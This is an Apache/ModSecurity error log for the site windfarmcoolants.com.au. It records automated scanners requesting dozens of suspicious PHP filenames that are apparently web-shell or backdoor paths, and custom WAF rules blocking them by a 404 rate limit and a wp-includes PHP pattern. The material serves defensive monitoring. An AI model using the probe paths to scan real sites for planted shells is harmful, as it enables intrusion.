[Thu Apr 09 16:10:33.329050 2026] [:error] [pid 20837:tid 20852] [client 20.215.65.153:64868] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "adde-fSL71FHZkjrGzOwGgAAAY0"]
[Thu Apr 09 16:10:33.982749 2026] [:error] [pid 24515:tid 24523] [client 216.24.210.45:52381] [client 216.24.210.45] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "windfarmcoolants.com.au"] [uri "/images/stories/themes.php"] [unique_id "adde-a1OMnvM2fMnB1NOQQAAAAQ"]
[Thu Apr 09 16:10:34.111801 2026] [:error] [pid 20837:tid 20863] [client 20.215.65.153:63004] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "adde-vSL71FHZkjrGzOwHAAAAZg"]
[Thu Apr 09 16:10:34.189800 2026] [:error] [pid 24515:tid 24519] [client 216.24.210.45:52381] [client 216.24.210.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "adde-q1OMnvM2fMnB1NOQgAAAAA"]
[Thu Apr 09 16:10:34.735295 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:63630] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "adde-jXObuzEuw8mNJuiAQAAAQY"]
[Thu Apr 09 16:10:35.437905 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:64918] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "adde-8De826HlFeoLPI9nQAAAUQ"]
[Thu Apr 09 16:10:35.471968 2026] [:error] [pid 18477:tid 18499] [client 216.24.210.25:36987] [client 216.24.210.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "adde-8De826HlFeoLPI9ngAAAVQ"]
[Thu Apr 09 16:10:36.159601 2026] [:error] [pid 24927:tid 24940] [client 216.24.210.29:37519] [client 216.24.210.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "adde_DXObuzEuw8mNJuiBQAAAQo"]
[Thu Apr 09 16:10:36.186549 2026] [:error] [pid 18477:tid 18494] [client 20.215.65.153:64933] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "adde_MDe826HlFeoLPI9oQAAAU8"]
[Thu Apr 09 16:10:36.750840 2026] [:error] [pid 18477:tid 18495] [client 20.215.65.153:64894] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "adde_MDe826HlFeoLPI9pAAAAVA"]
[Thu Apr 09 16:10:37.128012 2026] [:error] [pid 18477:tid 18496] [client 173.239.218.22:24153] File does not exist: /usr/local/apache/htdocs/suspended-page/files.php
[Thu Apr 09 16:10:37.359295 2026] [:error] [pid 24927:tid 24948] [client 20.215.65.153:63666] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "adde_TXObuzEuw8mNJuiBwAAARI"]
[Thu Apr 09 16:10:37.921428 2026] [:error] [pid 18477:tid 18489] [client 173.239.218.22:24153] [client 173.239.218.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "adde_cDe826HlFeoLPI9qwAAAUo"]
[Thu Apr 09 16:10:38.690599 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:64200] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "adde_jXObuzEuw8mNJuiCwAAAQQ"]
[Thu Apr 09 16:10:39.256081 2026] [:error] [pid 24515:tid 24532] [client 20.215.65.153:65482] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adde_61OMnvM2fMnB1NORAAAAA0"]
[Thu Apr 09 16:10:39.832856 2026] [:error] [pid 24927:tid 24933] [client 216.24.210.29:25517] [client 216.24.210.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "adde_zXObuzEuw8mNJuiEgAAAQM"]
[Thu Apr 09 16:10:40.477260 2026] [:error] [pid 24927:tid 24943] [client 20.215.65.153:64850] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "addfADXObuzEuw8mNJuiFwAAAQ0"]
[Thu Apr 09 16:10:40.608720 2026] [:error] [pid 24927:tid 24937] [client 216.24.210.6:20795] [client 216.24.210.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "addfADXObuzEuw8mNJuiGQAAAQc"]
[Thu Apr 09 16:10:41.045984 2026] [:error] [pid 24624:tid 24635] [client 20.215.65.153:64204] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "addfAe4Jn-WvK1ZBTviWAQAAAMk"]
[Thu Apr 09 16:10:41.589303 2026] [:error] [pid 24624:tid 24632] [client 216.24.210.2:33547] File does not exist: /usr/local/apache/htdocs/suspended-page/blog.php
[Thu Apr 09 16:10:42.417582 2026] [:error] [pid 24624:tid 24638] [client 20.215.65.153:64285] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "addfAu4Jn-WvK1ZBTviWCgAAAMw"]
[Thu Apr 09 16:10:42.491212 2026] [:error] [pid 24624:tid 24644] [client 216.24.210.2:33547] [client 216.24.210.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "addfAu4Jn-WvK1ZBTviWCwAAANI"]
[Thu Apr 09 16:10:43.099789 2026] [:error] [pid 24624:tid 24650] [client 20.215.65.153:63580] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "addfA-4Jn-WvK1ZBTviWDAAAANg"]
[Thu Apr 09 16:10:43.382532 2026] [:error] [pid 20837:tid 20858] [client 216.24.210.13:58519] [client 216.24.210.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/colour.php"] [unique_id "addfA_SL71FHZkjrGzOwIAAAAZM"]
[Thu Apr 09 16:10:43.705468 2026] [:error] [pid 20837:tid 20859] [client 20.215.65.153:63628] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "addfA_SL71FHZkjrGzOwIgAAAZQ"]
[Thu Apr 09 16:10:44.539960 2026] [:error] [pid 24927:tid 24931] [client 20.215.65.153:62985] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "addfBDXObuzEuw8mNJuiHgAAAQE"]
[Thu Apr 09 16:10:44.613125 2026] [:error] [pid 24927:tid 24952] [client 216.24.210.3:25387] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Thu Apr 09 16:10:44.813446 2026] [:error] [pid 24927:tid 24936] [client 216.24.210.3:25387] [client 216.24.210.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "addfBDXObuzEuw8mNJuiIAAAAQY"]
[Thu Apr 09 16:10:45.244996 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:64913] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "addfBTXObuzEuw8mNJuiIQAAAQ8"]
[Thu Apr 09 16:10:45.869739 2026] [:error] [pid 18477:tid 18492] [client 216.24.210.25:54389] [client 216.24.210.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "addfBcDe826HlFeoLPI9uwAAAU0"]
[Thu Apr 09 16:10:47.098543 2026] [:error] [pid 24927:tid 24948] [client 216.24.210.11:42309] [client 216.24.210.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "addfBzXObuzEuw8mNJuiJwAAARI"]
[Thu Apr 09 16:10:48.435092 2026] [:error] [pid 24927:tid 24947] [client 216.24.210.25:61965] [client 216.24.210.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "addfCDXObuzEuw8mNJuiLAAAARE"]
[Thu Apr 09 16:10:48.473772 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:63651] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "addfCDXObuzEuw8mNJuiLQAAAQw"]
[Thu Apr 09 16:10:48.914551 2026] [:error] [pid 24516:tid 24558] [client 216.24.210.42:39985] [client 216.24.210.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "addfCNhW7vSS-UkeWCUHxQAAAEs"]
[Thu Apr 09 16:10:49.203653 2026] [:error] [pid 20837:tid 20862] [client 20.215.65.153:62392] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "addfCfSL71FHZkjrGzOwKAAAAZc"]
[Thu Apr 09 16:10:49.773129 2026] [:error] [pid 20837:tid 20843] [client 20.215.65.153:64208] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "addfCfSL71FHZkjrGzOwKwAAAYQ"]
[Thu Apr 09 16:10:50.304024 2026] [:error] [pid 24624:tid 24648] [client 216.24.210.11:38687] [client 216.24.210.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "addfCu4Jn-WvK1ZBTviWGQAAANY"]
[Thu Apr 09 16:10:50.382645 2026] [:error] [pid 24517:tid 24595] [client 20.215.65.153:63565] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "addfCnboYEn2ZFM_PS9fkwAAAJU"]
[Thu Apr 09 16:10:50.943819 2026] [:error] [pid 20837:tid 20858] [client 20.215.65.153:64912] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "addfCvSL71FHZkjrGzOwLAAAAZM"]
[Thu Apr 09 16:10:51.495071 2026] [:error] [pid 20837:tid 20861] [client 216.24.210.29:20513] [client 216.24.210.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "addfC_SL71FHZkjrGzOwLwAAAZY"]
[Thu Apr 09 16:10:52.408152 2026] [:error] [pid 24624:tid 24649] [client 173.239.218.20:25071] File does not exist: /usr/local/apache/htdocs/suspended-page/testt.php
[Thu Apr 09 16:10:52.914691 2026] [:error] [pid 24624:tid 24646] [client 173.239.218.20:25071] [client 173.239.218.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "addfDO4Jn-WvK1ZBTviWIQAAANQ"]
[Thu Apr 09 16:10:53.505359 2026] [:error] [pid 24516:tid 24568] [client 216.24.210.37:39975] [client 216.24.210.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "addfDdhW7vSS-UkeWCUHyAAAAFU"]
[Thu Apr 09 16:10:53.871033 2026] [:error] [pid 24927:tid 24933] [client 216.24.210.31:46397] [client 216.24.210.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "addfDTXObuzEuw8mNJuiMAAAAQM"]
[Thu Apr 09 16:10:53.950927 2026] [:error] [pid 20837:tid 20856] [client 20.215.65.153:61838] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "addfDfSL71FHZkjrGzOwNwAAAZE"]
[Thu Apr 09 16:10:54.293823 2026] [:error] [pid 24517:tid 24590] [client 216.24.210.35:33817] File does not exist: /usr/local/apache/htdocs/suspended-page/network.php
[Thu Apr 09 16:10:54.551156 2026] [:error] [pid 18477:tid 18480] [client 20.215.65.153:63560] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "addfDsDe826HlFeoLPI9yAAAAUE"]
[Thu Apr 09 16:10:54.640070 2026] [:error] [pid 24517:tid 24587] [client 216.24.210.35:33817] [client 216.24.210.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "addfDnboYEn2ZFM_PS9flwAAAI0"]
[Thu Apr 09 16:10:54.986185 2026] [:error] [pid 18477:tid 18492] [client 173.239.218.22:37511] File does not exist: /usr/local/apache/htdocs/suspended-page/wikindex.php
[Thu Apr 09 16:10:55.254161 2026] [:error] [pid 18477:tid 18495] [client 20.215.65.153:63086] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "addfD8De826HlFeoLPI9zAAAAVA"]
[Thu Apr 09 16:10:55.341476 2026] [:error] [pid 18477:tid 18502] [client 173.239.218.22:37511] [client 173.239.218.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "addfD8De826HlFeoLPI9zQAAAVc"]
[Thu Apr 09 16:10:55.767891 2026] [:error] [pid 24927:tid 24946] [client 216.24.210.4:57467] [client 216.24.210.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "addfDzXObuzEuw8mNJuiMgAAARA"]
[Thu Apr 09 16:10:55.825135 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:64219] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "addfD8De826HlFeoLPI9zwAAAUQ"]
[Thu Apr 09 16:10:56.438041 2026] [:error] [pid 20837:tid 20848] [client 20.215.65.153:63590] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 09 16:10:56.706713 2026] [:error] [pid 20837:tid 20859] [client 20.215.65.153:63590] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Thu Apr 09 16:10:56.924155 2026] [:error] [pid 24517:tid 24589] [client 216.24.210.9:36705] [client 216.24.210.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "addfEHboYEn2ZFM_PS9fmQAAAI8"]
[Thu Apr 09 16:10:56.970447 2026] [:error] [pid 20837:tid 20855] [client 20.215.65.153:63590] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Thu Apr 09 16:10:57.740943 2026] [:error] [pid 24624:tid 24642] [client 216.24.210.25:51583] [client 216.24.210.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "addfEe4Jn-WvK1ZBTviWJgAAANA"]
[Thu Apr 09 16:10:57.859311 2026] [:error] [pid 20837:tid 20851] [client 20.215.65.153:63590] File does not exist: /usr/local/apache/htdocs/suspended-page/fff.php
[Thu Apr 09 16:10:58.425473 2026] [:error] [pid 20837:tid 20852] [client 20.215.65.153:63590] File does not exist: /usr/local/apache/htdocs/suspended-page/we.php
[Thu Apr 09 16:10:58.602812 2026] [:error] [pid 24927:tid 24947] [client 216.24.210.44:53409] [client 216.24.210.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "addfEjXObuzEuw8mNJuiOAAAARE"]
